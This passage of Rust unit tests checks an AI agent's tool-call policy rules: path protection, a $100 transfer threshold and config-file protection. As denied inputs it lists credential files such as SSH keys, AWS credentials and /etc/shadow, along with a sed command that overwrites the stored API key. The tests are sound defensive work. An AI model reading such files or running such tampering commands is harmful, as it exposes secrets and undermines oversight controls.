1111                .is_allowed()
1112        );
1113    }
1114
1115    // ── PathProtectionRule workspace_only + from_config ────────────
1116
1117    #[test]
1118    fn path_protection_workspace_only_blocks_absolute() {
1119        let rule = PathProtectionRule {
1120            protected: vec![],
1121            workspace_only: true,
1122            tool_allowed_paths: vec![],
1123        };
1124        let ctx = PolicyContext {
1125            authority: InputAuthority::Creator,
1126            survival_tier: SurvivalTier::Normal,
1127            claim: None,
1128        };
1129
1130        let abs_path = if cfg!(windows) {
1131            r"C:\Users\user\secret.txt"
1132        } else {
1133            "/home/user/secret.txt"
1134        };
1135        let abs = ToolCallRequest {
1136            tool_name: "read_file".into(),
1137            params: serde_json::json!({ "path": abs_path }),
1138            risk_level: RiskLevel::Safe,
1139        };
1140        assert!(
1141            !rule.evaluate(&abs, &ctx).is_allowed(),
1142            "workspace_only should block absolute paths outside /tmp"
1143        );
1144
1145        let tmp = ToolCallRequest {
1146            tool_name: "write_file".into(),
1147            params: serde_json::json!({ "path": "/tmp/scratch.txt" }),
1148            risk_level: RiskLevel::Safe,
1149        };
1150        assert!(
1151            rule.evaluate(&tmp, &ctx).is_allowed(),
1152            "workspace_only should allow /tmp paths"
1153        );
1154
1155        let relative = ToolCallRequest {
1156            tool_name: "read_file".into(),
1157            params: serde_json::json!({ "path": "src/main.rs" }),
1158            risk_level: RiskLevel::Safe,
1159        };
1160        assert!(
1161            rule.evaluate(&relative, &ctx).is_allowed(),
1162            "workspace_only should allow relative paths"
1163        );
1164    }
1165
1166    #[test]
1167    fn path_protection_workspace_only_disabled() {
1168        let rule = PathProtectionRule {
1169            protected: vec![],
1170            workspace_only: false,
1171            tool_allowed_paths: vec![],
1172        };
1173        let ctx = PolicyContext {
1174            authority: InputAuthority::Creator,
1175            survival_tier: SurvivalTier::Normal,
1176            claim: None,
1177        };
1178
1179        let abs = ToolCallRequest {
1180            tool_name: "read_file".into(),
1181            params: serde_json::json!({ "path": "/home/user/document.txt" }),
1182            risk_level: RiskLevel::Safe,
1183        };
1184        assert!(
1185            rule.evaluate(&abs, &ctx).is_allowed(),
1186            "workspace_only=false should allow absolute paths"
1187        );
1188    }
1189
1190    #[test]
1191    fn path_protection_from_config_merges_lists() {
1192        let cfg = roboticus_core::config::FilesystemSecurityConfig {
1193            workspace_only: false,
1194            protected_paths: vec![".env".into(), "secret.key".into()],
1195            extra_protected_paths: vec!["custom.pem".into()],
1196            script_fs_confinement: true,
1197            script_allowed_paths: vec![],
1198            tool_allowed_paths: vec![],
1199            sandbox_required: false,
1200        };
1201        let rule = PathProtectionRule::from_config(&cfg);
1202        assert!(!rule.workspace_only);
1203        assert_eq!(rule.protected.len(), 3);
1204        assert!(rule.protected.contains(&"custom.pem".to_string()));
1205
1206        let ctx = PolicyContext {
1207            authority: InputAuthority::Creator,
1208            survival_tier: SurvivalTier::Normal,
1209            claim: None,
1210        };
1211
1212        let custom = ToolCallRequest {
1213            tool_name: "read_file".into(),
1214            params: serde_json::json!({ "path": "deploy/custom.pem" }),
1215            risk_level: RiskLevel::Safe,
1216        };
1217        assert!(
1218            !rule.evaluate(&custom, &ctx).is_allowed(),
1219            "extra_protected_paths should be merged and enforced"
1220        );
1221    }
1222
1223    #[test]
1224    fn path_protection_expanded_defaults_block_ssh_keys() {
1225        let cfg = roboticus_core::config::FilesystemSecurityConfig::default();
1226        let rule = PathProtectionRule::from_config(&cfg);
1227        let ctx = PolicyContext {
1228            authority: InputAuthority::Creator,
1229            survival_tier: SurvivalTier::Normal,
1230            claim: None,
1231        };
1232
1233        for path in [
1234            "/home/user/.ssh/id_rsa",
1235            "config/.aws/credentials",
1236            "/etc/shadow",
1237            "app/.env.production",
1238            ".gnupg/private-keys-v1.d/key",
1239            "deploy/id_ed25519",
1240            ".kube/config",
1241            "db/data.sqlite",
1242        ] {
1243            let req = ToolCallRequest {
1244                tool_name: "read_file".into(),
1245                params: serde_json::json!({ "path": path }),
1246                risk_level: RiskLevel::Safe,
1247            };
1248            assert!(
1249                !rule.evaluate(&req, &ctx).is_allowed(),
1250                "default protected paths should block '{}'",
1251                path
1252            );
1253        }
1254    }
1255
1256    #[test]
1257    fn path_protection_tool_allowed_paths_whitelist() {
1258        let (vault_base, vault_path, other_path) = if cfg!(windows) {
1259            (
1260                r"C:\Users\jmachen\Desktop\My Vault",
1261                r"C:\Users\jmachen\Desktop\My Vault\notes.md",
1262                r"C:\Users\jmachen\Documents\secret.txt",
1263            )
1264        } else {
1265            (
1266                "/Users/jmachen/Desktop/My Vault",
1267                "/Users/jmachen/Desktop/My Vault/notes.md",
1268                "/Users/jmachen/Documents/secret.txt",
1269            )
1270        };
1271        let rule = PathProtectionRule {
1272            protected: vec![],
1273            workspace_only: true,
1274            tool_allowed_paths: vec![std::path::PathBuf::from(vault_base)],
1275        };
1276        let ctx = PolicyContext {
1277            authority: InputAuthority::Creator,
1278            survival_tier: SurvivalTier::Normal,
1279            claim: None,
1280        };
1281
1282        // Whitelisted path — should be allowed
1283        let vault = ToolCallRequest {
1284            tool_name: "read_file".into(),
1285            params: serde_json::json!({ "path": vault_path }),
1286            risk_level: RiskLevel::Safe,
1287        };
1288        assert!(
1289            rule.evaluate(&vault, &ctx).is_allowed(),
1290            "tool_allowed_paths should whitelist configured paths"
1291        );
1292
1293        // Non-whitelisted absolute path — still blocked
1294        let other = ToolCallRequest {
1295            tool_name: "read_file".into(),
1296            params: serde_json::json!({ "path": other_path }),
1297            risk_level: RiskLevel::Safe,
1298        };
1299        assert!(
1300            !rule.evaluate(&other, &ctx).is_allowed(),
1301            "absolute paths not in tool_allowed_paths should still be blocked"
1302        );
1303
1304        // /tmp still allowed
1305        let tmp = ToolCallRequest {
1306            tool_name: "write_file".into(),
1307            params: serde_json::json!({ "path": "/tmp/output.txt" }),
1308            risk_level: RiskLevel::Safe,
1309        };
1310        assert!(
1311            rule.evaluate(&tmp, &ctx).is_allowed(),
1312            "/tmp always allowed regardless of whitelist"
1313        );
1314    }
1315
1316    #[test]
1317    fn path_protection_from_config_includes_tool_allowed_paths() {
1318        let cfg = roboticus_core::config::FilesystemSecurityConfig {
1319            workspace_only: true,
1320            protected_paths: vec![],
1321            extra_protected_paths: vec![],
1322            script_fs_confinement: true,
1323            script_allowed_paths: vec![],
1324            tool_allowed_paths: vec![std::path::PathBuf::from("/opt/shared")],
1325            sandbox_required: false,
1326        };
1327        let rule = PathProtectionRule::from_config(&cfg);
1328        assert_eq!(rule.tool_allowed_paths.len(), 1);
1329        assert_eq!(
1330            rule.tool_allowed_paths[0],
1331            std::path::PathBuf::from("/opt/shared")
1332        );
1333    }
1334
1335    #[test]
1336    fn financial_rule_blocks_float_amount() {
1337        // L-NEW-1: a float "amount" must not bypass the threshold
1338        let rule = FinancialRule::new(100.0);
1339        let ctx = PolicyContext {
1340            authority: InputAuthority::Creator,
1341            survival_tier: SurvivalTier::Normal,
1342            claim: None,
1343        };
1344
1345        let float_high = ToolCallRequest {
1346            tool_name: "transfer".into(),
1347            params: serde_json::json!({ "amount": 150.50 }),
1348            risk_level: RiskLevel::Safe,
1349        };
1350        assert!(
1351            !rule.evaluate(&float_high, &ctx).is_allowed(),
1352            "float amount $150.50 should be blocked by $100 threshold"
1353        );
1354
1355        let float_low = ToolCallRequest {
1356            tool_name: "send".into(),
1357            params: serde_json::json!({ "amount": 50.0 }),
1358            risk_level: RiskLevel::Safe,
1359        };
1360        assert!(
1361            rule.evaluate(&float_low, &ctx).is_allowed(),
1362            "float amount $50.00 should be allowed under $100 threshold"
1363        );
1364
1365        // Integer "amount" is interpreted as dollars, same as float.
1366        let int_high = ToolCallRequest {
1367            tool_name: "transfer".into(),
1368            params: serde_json::json!({ "amount": 150 }),
1369            risk_level: RiskLevel::Safe,
1370        };
1371        assert!(
1372            !rule.evaluate(&int_high, &ctx).is_allowed(),
1373            "integer amount $150 should be blocked by $100 threshold"
1374        );
1375    }
1376
1377    // ── ConfigProtectionRule ─────────────────────────────────────────
1378
1379    #[test]
1380    fn config_protection_blocks_scope_mode_in_config_file() {
1381        let rule = ConfigProtectionRule::default();
1382        let ctx = PolicyContext {
1383            authority: InputAuthority::Creator,
1384            survival_tier: SurvivalTier::Normal,
1385            claim: None,
1386        };
1387        let req = ToolCallRequest {
1388            tool_name: "write_file".into(),
1389            params: serde_json::json!({
1390                "path": "/home/user/.roboticus/roboticus.toml",
1391                "content": "scope_mode = \"open\""
1392            }),
1393            risk_level: RiskLevel::Dangerous,
1394        };
1395        let decision = rule.evaluate(&req, &ctx);
1396        assert!(!decision.is_allowed());
1397        if let PolicyDecision::Deny { rule: r, reason } = &decision {
1398            assert_eq!(r, "config_protection");
1399            assert!(reason.contains("scope_mode"));
1400        }
1401    }
1402
1403    #[test]
1404    fn config_protection_allows_non_config_file() {
1405        let rule = ConfigProtectionRule::default();
1406        let ctx = PolicyContext {
1407            authority: InputAuthority::Creator,
1408            survival_tier: SurvivalTier::Normal,
1409            claim: None,
1410        };
1411        let req = ToolCallRequest {
1412            tool_name: "write_file".into(),
1413            params: serde_json::json!({
1414                "path": "/tmp/notes.txt",
1415                "content": "scope_mode = \"open\""
1416            }),
1417            risk_level: RiskLevel::Safe,
1418        };
1419        assert!(rule.evaluate(&req, &ctx).is_allowed());
1420    }
1421
1422    #[test]
1423    fn config_protection_blocks_bash_modifying_api_key() {
1424        let rule = ConfigProtectionRule::default();
1425        let ctx = PolicyContext {
1426            authority: InputAuthority::Creator,
1427            survival_tier: SurvivalTier::Normal,
1428            claim: None,
1429        };
1430        let req = ToolCallRequest {
1431            tool_name: "bash".into(),
1432            params: serde_json::json!({
1433                "command": "sed -i 's/api_key.*/api_key = \"stolen\"/' roboticus.toml"
1434            }),
1435            risk_level: RiskLevel::Dangerous,
1436        };
1437        assert!(!rule.evaluate(&req, &ctx).is_allowed());
1438    }
1439
1440    #[test]
1441    fn config_protection_allows_non_write_tools() {
1442        let rule = ConfigProtectionRule::default();
1443        let ctx = PolicyContext {
1444            authority: InputAuthority::Creator,
1445            survival_tier: SurvivalTier::Normal,
1446            claim: None,
1447        };
1448        let req = ToolCallRequest {
1449            tool_name: "read_file".into(),
1450            params: serde_json::json!({
1451                "path": "roboticus.toml"
1452            }),
1453            risk_level: RiskLevel::Safe,
1454        };
1455        assert!(rule.evaluate(&req, &ctx).is_allowed());
1456    }
1457
1458    #[test]
1459    fn config_protection_allows_safe_config_edits() {
1460        let rule = ConfigProtectionRule::default();
1461        let ctx = PolicyContext {
1462            authority: InputAuthority::Creator,
1463            survival_tier: SurvivalTier::Normal,
1464            claim: None,
1465        };
1466        let req = ToolCallRequest {
1467            tool_name: "write_file".into(),
1468            params: serde_json::json!({
1469                "path": "roboticus.toml",
1470                "content": "log_level = \"debug\""
1471            }),
1472            risk_level: RiskLevel::Dangerous,
1473        };
1474        assert!(
1475            rule.evaluate(&req, &ctx).is_allowed(),
1476            "non-sensitive config fields should be allowed"
1477        );
1478    }
1479}